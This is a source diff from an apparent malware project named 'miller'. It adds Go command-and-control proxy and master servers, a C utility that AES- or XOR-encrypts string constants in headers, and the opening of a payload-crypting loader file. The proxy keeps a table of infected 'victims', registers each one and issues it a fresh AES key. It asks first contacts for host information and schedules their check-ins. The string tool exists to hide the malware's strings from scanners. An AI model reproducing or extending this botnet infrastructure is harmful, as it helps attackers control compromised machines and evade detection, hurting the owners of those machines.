+ packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
+ packer.PushUint32(respong.NextPing)
+ err := packer.Error()
+ if err != nil {
+ return nil, err
+ }
+ response.Pkgsiz = uint32(len(buffer.Bytes()))
+ response.Pkgbuf = buffer.Bytes()
+ return v.buildResponse(response, dest)
+}
+
+func (v *Victim) BuildInfoResponse(response *HttpResp, dest []byte) ([]byte, error) {
+ response.Pkgsiz = 0
+ response.Pkgbuf = nil
+ return v.buildResponse(response, dest)
+}
diff --git a/source/tools/host/go/cncmaster/Makefile b/source/tools/host/go/cncmaster/Makefile
new file mode 100644
index 0000000..7f026da
--- /dev/null
+++ b/source/tools/host/go/cncmaster/Makefile
@@ -0,0 +1,37 @@
+GOCC ?= go
+RM ?= rm
+GOPATH := $(shell realpath ./deps)
+INSTALL ?= install
+DESTDIR ?= .
+BIN := cncmaster
+ifeq ($(strip $(GOARCH)),)
+BIN := $(BIN)-host
+else
+BIN := $(BIN)-$(GOARCH)$(GOARM)
+endif
+SRCS := main.go http.go
+DEP_MUX := deps/src/github.com/gorilla/mux/mux.go
+
+all: $(BIN)
+
+%.go:
+
+$(DEP_MUX):
+ GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux
+
+$(BIN): $(DEP_MUX) $(SRCS)
+ifeq ($(strip $(IS_GCCGO)),)
+ GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) .
+else
+ GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) .
+endif
+
+$(BIN)-install: $(BIN)
+ $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN)
+
+install: $(BIN)-install
+
+clean:
+ $(RM) -f $(BIN) $(DESTDIR)/$(BIN)
+
+.PHONY: all
diff --git a/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux
new file mode 160000
+Subproject d83b6ffe499a29cc05fc977988d039285177962
diff --git a/source/tools/host/go/cncmaster/http.go b/source/tools/host/go/cncmaster/http.go
new file mode 100644
index 0000000..a9648ce
--- /dev/null
+++ b/source/tools/host/go/cncmaster/http.go
@@ -0,0 +1,29 @@
+package main
+
+import (
+ "github.com/gorilla/mux"
+
+ "log"
+ "net/http"
+)
+
+
+func miller_http_handler(w http.ResponseWriter, r *http.Request) {
+ params := mux.Vars(r)
+ sid, ok := params["sid"]
+ if !ok {
+ return
+ }
+ marker, ok := params["marker"]
+ if !ok {
+ return
+ }
+ rnd, ok := params["rnd"]
+ if !ok {
+ return
+ }
+
+ log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd)
+
+ w.Write([]byte("Hello!"))
+}
diff --git a/source/tools/host/go/cncmaster/main.go b/source/tools/host/go/cncmaster/main.go
new file mode 100644
index 0000000..1845800
--- /dev/null
+++ b/source/tools/host/go/cncmaster/main.go
@@ -0,0 +1,31 @@
+package main
+
+import (
+ "github.com/gorilla/mux"
+
+ "log"
+ "net/http"
+)
+
+
+const verbose = true
+const listen_tpl = "127.0.0.1:8081"
+
+func main() {
+ rtr := mux.NewRouter()
+ rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST")
+
+ http.Handle("/", rtr)
+
+ log.Println("CNCMASTER: Listening on " + listen_tpl + "...")
+ http.ListenAndServe(listen_tpl, logRequest(http.DefaultServeMux))
+}
+
+func logRequest(handler http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if verbose {
+ log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL)
+ }
+ handler.ServeHTTP(w, r)
+ })
+}
diff --git a/source/tools/host/go/cncproxy/Makefile b/source/tools/host/go/cncproxy/Makefile
new file mode 100644
index 0000000..44e3b32
--- /dev/null
+++ b/source/tools/host/go/cncproxy/Makefile
@@ -0,0 +1,42 @@
+GOCC ?= go
+RM ?= rm
+GOPATH := $(shell realpath ./deps)
+INSTALL ?= install
+DESTDIR ?= .
+BIN := cncproxy
+ifeq ($(strip $(GOARCH)),)
+BIN := $(BIN)-host
+else
+BIN := $(BIN)-$(GOARCH)$(GOARM)
+endif
+SRCS := main.go manager.go http.go
+DEP_CNCLIB := ../cnclib/miller_consts.go ../cnclib/miller_victim.go
+DEP_MUX := deps/src/github.com/gorilla/mux/mux.go
+DEP_PACKER := deps/src/github.com/zhuangsirui/binpacker/packer.go
+
+all: $(BIN)
+
+%.go:
+
+$(DEP_MUX):
+ GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux
+
+$(DEP_PACKER):
+ GOPATH=$(GOPATH) $(GOCC) get -v github.com/zhuangsirui/binpacker
+
+$(BIN): $(DEP_MUX) $(DEP_PACKER) $(DEP_CNCLIB) $(SRCS)
+ifeq ($(strip $(IS_GCCGO)),)
+ GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) .
+else
+ GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) .
+endif
+
+$(BIN)-install: $(BIN)
+ $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN)
+
+install: $(BIN)-install
+
+clean:
+ $(RM) -f $(BIN) $(DESTDIR)/$(BIN)
+
+.PHONY: all
diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux
new file mode 160000
+Subproject d83b6ffe499a29cc05fc977988d039285177962
diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker b/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker
new file mode 160000
+Subproject 08a1b297435a414bec3ccf4215ff546dba41815
diff --git a/source/tools/host/go/cncproxy/http.go b/source/tools/host/go/cncproxy/http.go
new file mode 100644
index 0000000..8e82662
--- /dev/null
+++ b/source/tools/host/go/cncproxy/http.go
@@ -0,0 +1,224 @@
+package main
+
+import (
+ "../cnclib"
+ "github.com/gorilla/mux"
+
+ "fmt"
+ "log"
+ "io"
+ "net/http"
+ "encoding/binary"
+ "encoding/hex"
+ "crypto/rand"
+ "bytes"
+)
+
+
+func miller_to_master(v *miller.Victim, url *string) error {
+ _, err := v.ToJSON(false)
+ if err != nil {
+ return err
+ }
+ return nil
+}
+
+func miller_http_request(v *miller.Victim, r *http.Request) (bool, error) {
+ var valid bool
+ var req miller.HttpResp
+ var err error
+ read_form, err := r.MultipartReader()
+ if err != nil {
+ return false, err
+ }
+
+ for {
+ part, err := read_form.NextPart()
+ if err == io.EOF {
+ break
+ }
+
+ if part.FormName() == "upload" {
+ buf := new(bytes.Buffer)
+ buf.ReadFrom(part)
+ if verbose {
+ log.Printf("Request (upload; %d bytes):\n%s", len(buf.String()), hex.Dump(buf.Bytes()))
+ }
+ err = v.ParseRequest(buf.Bytes(), &req)
+ if err != nil {
+ return false, err
+ }
+ if verbose {
+ log.Printf("HTTP REQUEST(%v)", &req)
+ }
+ valid = true
+ }
+ }
+
+ if !valid {
+ return false, nil
+ }
+ return true, nil
+}
+
+func miller_randbytes(n int) ([]byte, error) {
+ b := make([]byte, n)
+ _, err := rand.Read(b)
+ if err != nil {
+ return nil, err
+ }
+
+ return b, nil
+}
+
+func miller_state_machine(v *miller.Victim, marker *string) ([]byte, error) {
+ var err error
+ var buffer []byte
+ var resp miller.HttpResp
+
+ err = miller.ParseMarkerResponse(&resp, []byte(*marker))
+ if err != nil {
+ return nil, err
+ }
+
+ log.Printf("Miller state machine got a '%s'", miller.RCtoString(v.Last_rc_rx))
+ switch v.Last_rc_rx {
+ case miller.RC_REGISTER:
+ resp.RespFlags = miller.RF_OK
+ resp.RespCode = miller.RC_REGISTER
+ resp_reg, err := NewRegisterResponse(5, v)
+ if err != nil {
+ return nil, err
+ }
+ buffer, err = v.BuildRegisterResponse(&resp, resp_reg, buffer)
+ if err != nil {
+ return nil, err
+ }
+ if v.Last_rf_rx == miller.RF_INITIAL && v.Requests == 1 {
+ log.Printf("FIRST CONTACT: Grabbing some information !!")
+ resp.RespFlags = miller.RF_AGAIN
+ resp.RespCode = miller.RC_INFO
+ buffer, err = v.BuildInfoResponse(&resp, buffer)
+ }
+ break
+ case miller.RC_INFO:
+ resp.RespFlags = miller.RF_OK
+ resp.RespCode = miller.RC_PING
+ resp_pong := NewPongResponse(5)
+ buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer)
+ if err != nil {
+ return nil, err
+ }
+ break
+ case miller.RC_PING:
+ resp.RespFlags = miller.RF_OK
+ resp.RespCode = miller.RC_PING
+ resp_pong := NewPongResponse(5)
+ buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer)
+ if err != nil {
+ return nil, err
+ }
+ break
+ default:
+ return nil, fmt.Errorf("invalid response code 0x%04X", v.Last_rc_rx)
+ }
+
+ return buffer, nil
+}
+
+func miller_http_handler(w http.ResponseWriter, r *http.Request) {
+ params := mux.Vars(r)
+ sid, ok := params["sid"]
+ if !ok {
+ return
+ }
+ marker, ok := params["marker"]
+ if !ok {
+ return
+ }
+ rnd, ok := params["rnd"]
+ if !ok {
+ return
+ }
+
+ fake_resp := miller.HttpResp{}
+ if r.ContentLength < int64(binary.Size(fake_resp)) {
+ log.Printf("Fake response has invalid size.")
+ http.NotFound(w, r)
+ return
+ }
+
+ if verbose {
+ log.Printf("---------- %s ----------", "REQUEST")
+ }
+ log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd)
+
+ var err error
+ var v *miller.Victim
+ v = mgr.GetVictim(&sid)
+ if v == nil {
+ v = miller.NewVictim()
+ mgr.SetVictim(v, &sid)
+ }
+ if !mgr.PushVictim(&sid) {
+ log.Printf("ERROR Victim is already known to the Manager!")
+ http.NotFound(w, r)
+ return
+ }
+
+ valid, err := miller_http_request(v, r)
+ if err != nil {
+ log.Printf("ERROR miller_http_request: '%s'", err)
+ }
+ if !valid {
+ log.Printf("ERROR Victim HTTP Request was invalid!")
+ http.NotFound(w, r)
+ return
+ }
+
+ buffer, err := miller_state_machine(v, &marker)
+ if err != nil {
+ log.Printf("ERROR miller_state_machine: '%s'", err)
+ }
+ if buffer == nil {
+ log.Printf("ERROR binary buffer was empty after miller_state_machine")
+ http.NotFound(w, r)
+ return
+ }
+
+ if v.Last_rc_rx == miller.RC_REGISTER && v.Requests > 1 {
+ log.Printf("WARNING: Victim '%s' RE-REGISTERED !!", sid)
+ }
+
+ if verbose {
+ log.Printf("Response (%d bytes):\n%s", len(buffer), hex.Dump(buffer))
+ log.Printf("VICTIM STATE(%s)", v)
+ json_out, err := v.ToJSON(true)
+ if err == nil {
+ log.Printf("VICTIM JSON(%s)", string(json_out))
+ }
+ log.Printf("---------- %s ----------", "EoF REQUEST/RESPONSE")
+ }
+
+ mgr.PopVictim(&sid)
+
+ w.Write(buffer)
+}
+
+func NewRegisterResponse(next_ping uint32, victim *miller.Victim) (*miller.RespRegister, error) {
+ respreg := miller.RespRegister{ [miller.AESKEY_SIZ]byte{}, next_ping }
+ aeskey, err := miller_randbytes(int(miller.KEY_256))
+ if err != nil {
+ return nil, err
+ }
+ err = miller.ParseAESKeyResponse(&respreg, aeskey)
+ if err != nil {
+ return nil, err
+ }
+ victim.SetAESKey(aeskey)
+ return &respreg, nil
+}
+
+func NewPongResponse(next_ping uint32) miller.RespPong {
+ return miller.RespPong{ next_ping }
+}
diff --git a/source/tools/host/go/cncproxy/main.go b/source/tools/host/go/cncproxy/main.go
new file mode 100644
index 0000000..b5cc9ef
--- /dev/null
+++ b/source/tools/host/go/cncproxy/main.go
@@ -0,0 +1,48 @@
+package main
+
+import (
+ "github.com/gorilla/mux"
+
+ "flag"
+ "log"
+ "net/http"
+)
+
+
+var mgr manager
+var verbose bool
+
+const default_listen_tpl = "127.0.0.1:8080"
+const default_master_tpl = "127.0.0.1:8081"
+const default_verbose = false
+
+
+func main() {
+ listen_tpl := flag.String("listen", default_listen_tpl,
+ "CNCProxy listen address.")
+ master_tpl := flag.String("master", default_master_tpl,
+ "CNCMaster connect address.")
+ verbose = *flag.Bool("verbose", default_verbose,
+ "CNCProxy verbose mode")
+ flag.Parse()
+
+ mgr = NewManager()
+ rtr := mux.NewRouter()
+ /* /.miller_pahhj0099wjtu87vdgtl8fq8k4zmh0is_sbmkuj97_rg38n6bop9m5htrbeyyx0ljx26gbjxdx5nztp4a1wfowdsyyqnzts0r440logk91 */
+ rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST")
+
+ http.Handle("/", rtr)
+
+ log.Println("CNCProxy: Listening on " + *listen_tpl + "...")
+ log.Println("CNCProxy: Forwarding to CNCMaster at " + *master_tpl)
+ log.Fatal(http.ListenAndServe(*listen_tpl, logRequest(http.DefaultServeMux)))
+}
+
+func logRequest(handler http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if verbose {
+ log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL)
+ }
+ handler.ServeHTTP(w, r)
+ })
+}
diff --git a/source/tools/host/go/cncproxy/manager.go b/source/tools/host/go/cncproxy/manager.go
new file mode 100644
index 0000000..cd778be
--- /dev/null
+++ b/source/tools/host/go/cncproxy/manager.go
@@ -0,0 +1,84 @@
+package main
+
+import (
+ "../cnclib"
+
+ "sync"
+)
+
+type victim_data struct {
+ v *miller.Victim
+ in_use bool
+ lock sync.Mutex
+}
+
+type manager struct {
+ victims map[string]victim_data
+ lock sync.Mutex
+}
+
+
+func NewManager() manager {
+ return manager{ make(map[string]victim_data), sync.Mutex{} }
+}
+
+func (m *manager) SetVictim(v *miller.Victim, sid *string) {
+ m.lock.Lock()
+ defer m.lock.Unlock()
+ vd := victim_data{}
+ vd.v = v
+ m.victims[*sid] = vd
+}
+
+func (m *manager) getVictim(sid *string) *victim_data {
+ m.lock.Lock()
+ defer m.lock.Unlock()
+ ret, ok := m.victims[*sid]
+ if ok {
+ return &ret
+ }
+ return nil
+}
+
+func (m *manager) GetVictim(sid *string) *miller.Victim {
+ vd := m.getVictim(sid)
+ if vd == nil {
+ return nil
+ }
+ if !m.VictimInUse(sid) {
+ return vd.v
+ }
+ return nil
+}
+
+func (m *manager) VictimInUse(sid *string) bool {
+ vd := m.getVictim(sid)
+ if vd == nil {
+ return false
+ }
+ vd.lock.Lock()
+ defer vd.lock.Unlock()
+ return vd.in_use
+}
+
+func (m *manager) PushVictim(sid *string) bool {
+ if m.VictimInUse(sid) {
+ return false
+ }
+ vd := m.getVictim(sid)
+ vd.lock.Lock()
+ defer vd.lock.Unlock()
+ vd.in_use = true
+ return true
+}
+
+func (m *manager) PopVictim(sid *string) bool {
+ if !m.VictimInUse(sid) {
+ return false
+ }
+ vd := m.getVictim(sid)
+ vd.lock.Lock()
+ defer vd.lock.Unlock()
+ vd.in_use = false
+ return true
+}
diff --git a/source/tools/host/hdr_crypt.c b/source/tools/host/hdr_crypt.c
new file mode 100644
index 0000000..2461351
--- /dev/null
+++ b/source/tools/host/hdr_crypt.c
@@ -0,0 +1,417 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <ctype.h>
+#include <time.h>
+
+#include "utils.h"
+#include "crypt.h"
+#include "aes.h"
+
+#define MAX_LINE 65535
+
+
+static aes_ctx_t* ctx = NULL;
+static unsigned char aeskey[KEY_256];
+static uint32_t xorkey;
+static unsigned xor_align = 4;
+
+
+char* alignedCopyBuffer(char* orig, unsigned* orig_len, unsigned alignment)
+{
+ unsigned pad = *orig_len % alignment;
+ unsigned new_len = *orig_len + alignment - pad;
+
+ char* out = calloc(new_len, sizeof(char));
+ memcpy(out, orig, *orig_len);
+
+ if (pad > 0)
+ out[*orig_len] = 0;
+ for (unsigned i = (*orig_len)+1; i < new_len; ++i) {
+ out[i] = (char)__rdtsc();
+ }
+ *orig_len = new_len;
+ return out;
+}
+
+enum defType { DT_DEFAULT, DT_SECTION, DT_ENDSECTION };
+struct defines {
+ struct defines* next;
+ enum defType dt;
+ char defName[0];
+};
+static struct defines* defs = NULL;
+
+void addDefineName(const char* line, enum defType type, struct defines** current)
+{
+ if (!current) return;
+
+ const char* strb = strchr(line, ' ');
+ if (!strb) return;
+
+ while (*(++strb) == ' ') {}
+
+ char* stre = strchr(strb, ' ');
+ if (!stre) return;
+
+ size_t len = stre - strb;
+ (*current)->next = calloc(sizeof(struct defines) + len + 1, 1);
+ (*current) = (*current)->next;
+ memcpy( &(*current)->defName[0], &strb[0], len );
+ (*current)->dt = type;
+}
+
+struct entOpts {
+ const char* fmt;
+ const char* com;
+ const char* ent;
+ const char* overw;
+};
+
+void writeOrAbort(const char* outbuf, int outsiz, FILE* outfile)
+{
+ size_t written = fwrite(outbuf, 1, outsiz, outfile);
+ if (written != outsiz) {
+ fprintf(stderr, "Error while writing \"%.*s\" to OUTPUT stream\n", (outsiz > 20 ? 20 : outsiz), outbuf);
+ abort();
+ }
+}
+
+int addStrEntry(FILE* outfile, const char* name, const struct defines* begin, const struct entOpts* opts, bool addSections)
+{
+ const char* name_section = NULL;
+ const struct defines* cur = begin;
+ while ( (cur = cur->next) ) {
+ char* outbuf = NULL;
+ int outsiz = 0;
+
+ /* error checking */
+ if (cur->dt == DT_SECTION && name_section && addSections) {
+ fprintf(stderr, "Found SECTION \"%s\" without ENDSECTION for \"%s\"\n", &cur->defName[0], name_section);
+ return 1;
+ }
+ if (cur->dt == DT_ENDSECTION && !name_section && addSections) {
+ fprintf(stderr, "Found ENDSECTION \"%s\" without ECTION for \"%s\"\n", &cur->defName[0], name_section);
+ return 2;
+ }
+
+ /* prepare output buffer */
+ if ((opts->fmt && cur->dt == DT_SECTION && !name_section) || (!name_section && !addSections)) {
+ /* SECTIONS: generate xor string entries as simple macro */
+
+ if (!addSections) {
+ name_section = "ROOT";
+ const size_t flen = strlen(opts->fmt);
+ const size_t elen = strlen(opts->ent);
+ char* fmt = calloc(flen+elen+1, sizeof(char));
+ strncpy(fmt, opts->fmt, flen);
+ strncpy(fmt+flen, opts->ent, elen);
+ outsiz = asprintf(&outbuf, fmt, opts->com, name, name_section, &cur->defName[0]);
+ free(fmt);
+ } else {
+ name_section = &cur->defName[0];
+ outsiz = asprintf(&outbuf, opts->fmt, opts->com, name, name_section);
+ }
+ } else
+ if (opts->fmt && cur->dt == DT_ENDSECTION && name_section && addSections) {
+ name_section = NULL;
+ fseek(outfile, -4, SEEK_CUR);
+ writeOrAbort(opts->overw, strlen(opts->overw), outfile);
+ } else
+ if (name_section && cur->dt == DT_DEFAULT) {
+ outsiz = asprintf(&outbuf, opts->ent, &cur->defName[0]);
+ }
+ /* ignore section entries if user wants only root section entries */
+ if (!addSections && cur->dt == DT_SECTION) {
+ while ( (cur = cur->next) && cur->dt != DT_ENDSECTION ) {}
+ }
+
+ /* write output buffer */
+ if (outsiz > 0) {
+ writeOrAbort(outbuf, outsiz, outfile);
+ free(outbuf);
+ }
+ }
+ fseek(outfile, -4, SEEK_CUR);
+ writeOrAbort(opts->overw, strlen(opts->overw), outfile);
+
+ return 0;
+}
+
+/* string struct defines for each section */
+static const char fmt_strsec[] = "%s\n#define %s_%s_STRINGS \\\n";
+static const char com_strsec[] = "\n\n/* for use in string struct */";
+static const char fmt_strent[] = " STRENT(%s), \\\n";
+/* replace last 4 bytes with newlines */
+static const char overw[] = "\n\n\n\n";
+
+int addStrStructEntries(FILE* outfile, const char* name, const struct defines* begin, bool addSections)
+{
+ struct entOpts opts = {0};
+ opts.fmt = fmt_strsec;
+ opts.com = com_strsec;
+ opts.ent = fmt_strent;
+ opts.overw = overw;
+ return addStrEntry(outfile, name, begin, &opts, addSections);
+}
+
+/* string enum defines for each section */
+static const char fmt_enmsec[] = "%s\n#define %s_%s_ENUM \\\n";
+static const char com_enmsec[] = "\n\n/* for use in string enum */";
+static const char fmt_enment[] = " %s_ENUM, \\\n";
+
+int addStrEnumEntries(FILE* outfile, const char* name, const struct defines* begin, bool addSections)
+{
+ struct entOpts opts = {0};
+ opts.fmt = fmt_enmsec;
+ opts.com = com_enmsec;
+ opts.ent = fmt_enment;
+ opts.overw = overw;
+ return addStrEntry(outfile, name, begin, &opts, addSections);
+}
+
+char* gencstr(unsigned char* buf, size_t siz)
+{
+ int i;
+ char* buf_str = (char*)calloc(1, 4*siz + 1);
+ char* buf_ptr = buf_str;
+ for (i = 0; i < siz; i++)
+ {
+ buf_ptr += sprintf(buf_ptr, "\\x%02X", buf[i]);
+ }
+ *(buf_ptr) = '\0';
+ return buf_str;
+}
+
+void genUnescapedBuf(char* buf, uint32_t* siz)
+{
+ int i;
+ size_t found = 0;
+ bool hasBackslash = false;
+ for (i = 0; i < *siz; i++)
+ {
+ unsigned char byte = 0x00;
+
+ if (buf[i] == '\\') {
+ if (hasBackslash) {
+ memmove(&buf[i], &buf[i+1], (*siz)-i-1);
+ (*siz)--;
+ buf[(*siz)] = '\0';
+ }
+ hasBackslash = !hasBackslash;
+ continue;
+ }
+
+ if (hasBackslash && buf[i] == 'x') {
+ i++;
+ for (int j = i; j < i+2; j++) {
+ char cur = tolower(buf[j]);
+ unsigned char shifter = (j == i ? 4 : 0);
+ if (cur == '\0') break;
+ if (cur >= 48 && cur <= 57) {
+ byte |= (cur - 48) << shifter;
+ } else if (cur >= 97 && cur <= 102) {
+ byte |= (cur - 97 + 10) << shifter;
+ }
+ }
+ i += 2;
+ buf[i-4] = byte;
+ memmove(buf+i-3, buf+i, (*siz)-i);
+ i -= 4;
+ hasBackslash = false;
+ found++;
+ } else
+ if (hasBackslash)
+ hasBackslash = false;
+ }
+ *siz -= (found*3);
+}
+
+int doSelfTest(void)
+{
+ int ret = 0;
+
+ unsigned char __aeskey[KEY_256+1];
+ memset(&__aeskey[0], '\0', sizeof(unsigned char)*(KEY_256+1));
+ aes_randomkey(&__aeskey[0], KEY_256);
+ aes_ctx_t* __ctx = aes_alloc_ctx(&__aeskey[0], KEY_256);
+
+ char __ptext[16] = "Attack at dawn!";
+ char __ctext[16];
+ char __decptext[16];
+ aes_encrypt(__ctx, (unsigned char*)__ptext, (unsigned char*)__ctext);
+ aes_decrypt(__ctx, (unsigned char*)__ctext, (unsigned char*)__decptext);
+ if (strcmp(__ptext, __decptext) != 0) {
+ ret = 1;
+ goto selftest_fin;
+ }
+
+ char __inbuf[] = "This is a short short short short short text, but bigger than 16 bytes ...";
+ uint32_t __outlen = 0;
+ char* __outbuf = aes_crypt_s(__ctx, __inbuf, sizeof(__inbuf), &__outlen, true);
+ uint32_t __orglen = 0;
+ char* __orgbuf = aes_crypt_s(__ctx, __outbuf, __outlen, &__orglen, false);
+
+ if (strcmp(__inbuf, __orgbuf) != 0)
+ ret = 1;
+
+selftest_fin:
+ free(__orgbuf);
+ free(__outbuf);
+ aes_free_ctx(__ctx);
+ return ret;
+}
+
+int main(int argc, char** argv)
+{
+ aes_init();
+ struct defines* cur = defs = calloc(sizeof(struct defines), 1);
+ int ret = -1;
+ if ( (ret = doSelfTest()) != 0) {
+ printf("%s: SelfTest failed with %d\n", argv[0], ret);
+ }
+
+ if (argc != 5) {
+ printf("usage: %s [AES|XOR] [STRING.h] [CRYPTED.h] [KEYNAME-DEFINE]\n", argv[0]);
+ printf("e.g.: %s aes include/aes_strings.h include/aes_strings_gen.h AESKEY\n", argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ bool doAes;
+ if (strcasecmp(argv[1], "aes") == 0) {
+ doAes = true;
+ } else if (strcasecmp(argv[1], "xor") == 0) {
+ doAes = false;
+ } else {
+ printf("%s error: [AES|XOR] and not %s\n", argv[0], argv[1]);
+ exit(EXIT_FAILURE);
+ }
+
+ char* cstr_key = NULL;
+ if (doAes) {
+ memset(&aeskey[0], '\0', sizeof(aeskey));
+ aes_randomkey(&aeskey[0], sizeof(aeskey));
+
+ ctx = aes_alloc_ctx(&aeskey[0], sizeof(aeskey));
+ cstr_key = gencstr(&aeskey[0], sizeof(aeskey));
+ } else {
+ xorkey = xor32_randomkey();
+ cstr_key = gencstr((unsigned char*)&xorkey, sizeof(xorkey));
+ }
+
+ FILE* infile = fopen(argv[2], "r");
+ FILE* outfile = fopen(argv[3], "w+");
+ if (!infile || !outfile) {
+ printf("%s: %s does not exist!\n", argv[0], (!infile ? argv[2] : argv[3]));
+ exit(EXIT_FAILURE);
+ }
+
+ char* keydef = NULL;
+ char* keysizdef = NULL;
+ if (doAes) {
+ asprintf(&keydef, "#define %s \"", argv[4]);
+ fwrite(keydef, 1, strlen(keydef), outfile);
+ fwrite(cstr_key, 1, strlen(cstr_key), outfile);
+ fwrite("\"\n", 1, 2, outfile);
+ asprintf(&keysizdef, "#define %sSIZ %u\n", argv[4], (unsigned int)(sizeof(aeskey)/sizeof(aeskey[0])));
+ fwrite(keysizdef, 1, strlen(keysizdef), outfile);
+ free(cstr_key);
+ } else {
+ asprintf(&keydef, "#define %s ", argv[4]);
+ char xorkeystr[12];
+ snprintf(&xorkeystr[0], 11, "%u", xorkey);
+ xorkeystr[11] = '\0';
+ fwrite(keydef, 1, strlen(keydef), outfile);
+ fwrite(&xorkeystr[0], 1, strlen(xorkeystr), outfile);
+ fwrite("\n", 1, 1, outfile);
+ asprintf(&keysizdef, "#define %sSIZ %u\n", argv[4], (unsigned int)sizeof(xorkey));
+ fwrite(keysizdef, 1, strlen(keysizdef), outfile);
+ }
+ free(keysizdef);
+ keysizdef = NULL;
+
+ char line[MAX_LINE];
+ memset(&line[0], '\0', sizeof(line));
+ while (fgets(line, sizeof(line), infile)) {
+ char* tmp = line;
+ char* enc = NULL; char* header = NULL; char* trailer = NULL;
+ uint32_t enclen = 0;
+ bool gotStr = false;
+
+ if ( strstr(tmp, "#define") == tmp ) {
+ tmp += strlen("#define");
+ if ( (tmp = strchr(tmp, '"')) ) {
+ tmp++;
+ header = tmp;
+ char* str = strchr(tmp, '"');
+ if (str) {
+ trailer = str;
+ enclen = str-tmp;
+ enc = calloc(sizeof(char), enclen+1);
+ memcpy(enc, tmp, enclen);
+ genUnescapedBuf(enc, &enclen);
+ gotStr = true;
+ }
+ }
+ } else if ( strstr(tmp, "/*") ) {
+ if ( (tmp = strchr(tmp, ' ')) ) {
+ while (*(++tmp) == ' ') {}
+ size_t len = strlen(tmp);
+ if (strstr(tmp, "SECTION:") == tmp &&
+ tmp[len-1] == '\n' && tmp[len-2] == '/' &&
+ tmp[len-3] == '*' && tmp[len-4] == ' ') {
+ addDefineName(tmp, DT_SECTION, &cur);
+ } else if (strstr(tmp, "ENDSECTION") == tmp) {
+ addDefineName(tmp-1, DT_ENDSECTION, &cur);
+ }
+ }
+ }
+
+ if (gotStr) {
+ uint32_t newsiz = 0;
+ char* out = NULL;
+ if (doAes) {
+ out = aes_crypt_s(ctx, enc, enclen, &newsiz, true);
+ } else {
+ out = alignedCopyBuffer(enc, &enclen, xor_align);
+ xor32_byte_crypt((unsigned char*)out, enclen, xorkey);
+ newsiz = enclen;
+ }
+ char* outcstr = gencstr((unsigned char*)out, newsiz);
+
+ fwrite(&line[0], 1, header-&line[0], outfile);
+ fwrite(outcstr, 1, strlen(outcstr), outfile);
+ fwrite(trailer, 1, strlen(trailer), outfile);
+ addDefineName(&line[0], DT_DEFAULT, &cur);
+
+ free(outcstr);
+ free(out);
+ free(enc);
+ } else {
+ fwrite(&line[0], 1, strlen(line), outfile);
+ }
+
+ memset(&line[0], '\0', sizeof(line));
+ }
+
+ if (!doAes) {
+ if (addStrStructEntries(outfile, argv[4], defs, true) != 0)
+ exit(1);
+ if (addStrStructEntries(outfile, argv[4], defs, false) != 0)
+ exit(1);
+ if (addStrEnumEntries(outfile, argv[4], defs, true) != 0)
+ exit(1);
+ if (addStrEnumEntries(outfile, argv[4], defs, false) != 0)
+ exit(1);
+ }
+
+ fclose(infile);
+ fclose(outfile);
+
+ free(keydef);
+ if (doAes) {
+ aes_free_ctx(ctx);
+ }
+ exit(EXIT_SUCCESS);
+}
diff --git a/source/tools/host/old/file_crypt.c b/source/tools/host/old/file_crypt.c
new file mode 100644
index 0000000..8548cfa
--- /dev/null
+++ b/source/tools/host/old/file_crypt.c
@@ -0,0 +1,802 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <time.h>
+#include <getopt.h>
+#include <errno.h>
+
+#include <sys/mman.h>
+#include <ctype.h>
+
+#include "crypt.h"
+#include "helper.h"
+#include "loader.h"
+
+
+static const char base64table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
+static const unsigned char loader_endmarker[] = { _LOADER_ENDMARKER };
+
+
+static void base64_block_encode(const char plain[3], char encoded[4])
+{
+ unsigned char b0 = 0, b1 = 0, b2 = 0, b3 = 0;
+
+ b0 = ((plain[0] & 0xFC) >> 2);
+ b1 = ((plain[1] & 0xF0) >> 4) | ((plain[0] & 0x03) << 4);
+ b2 = ((plain[1] & 0x0F) << 2) | ((plain[2] & 0xC0) >> 6);
+ b3 = ( plain[2] & 0x3F);
+ encoded[0] = base64table[b0];
+ encoded[1] = base64table[b1];
+ encoded[2] = base64table[b2];
+ encoded[3] = base64table[b3];
+}
+
+static char* base64_encode(const char* plain, size_t siz, size_t* newsizptr)
+{
+ size_t padded = (siz % 3 == 0 ? 0 : 3 - (siz % 3));
+ size_t newsiz = ( (siz + padded)/3 ) * 4;
+ char* tmp = calloc(newsiz, sizeof(char));
+
+ size_t i, j = 0;
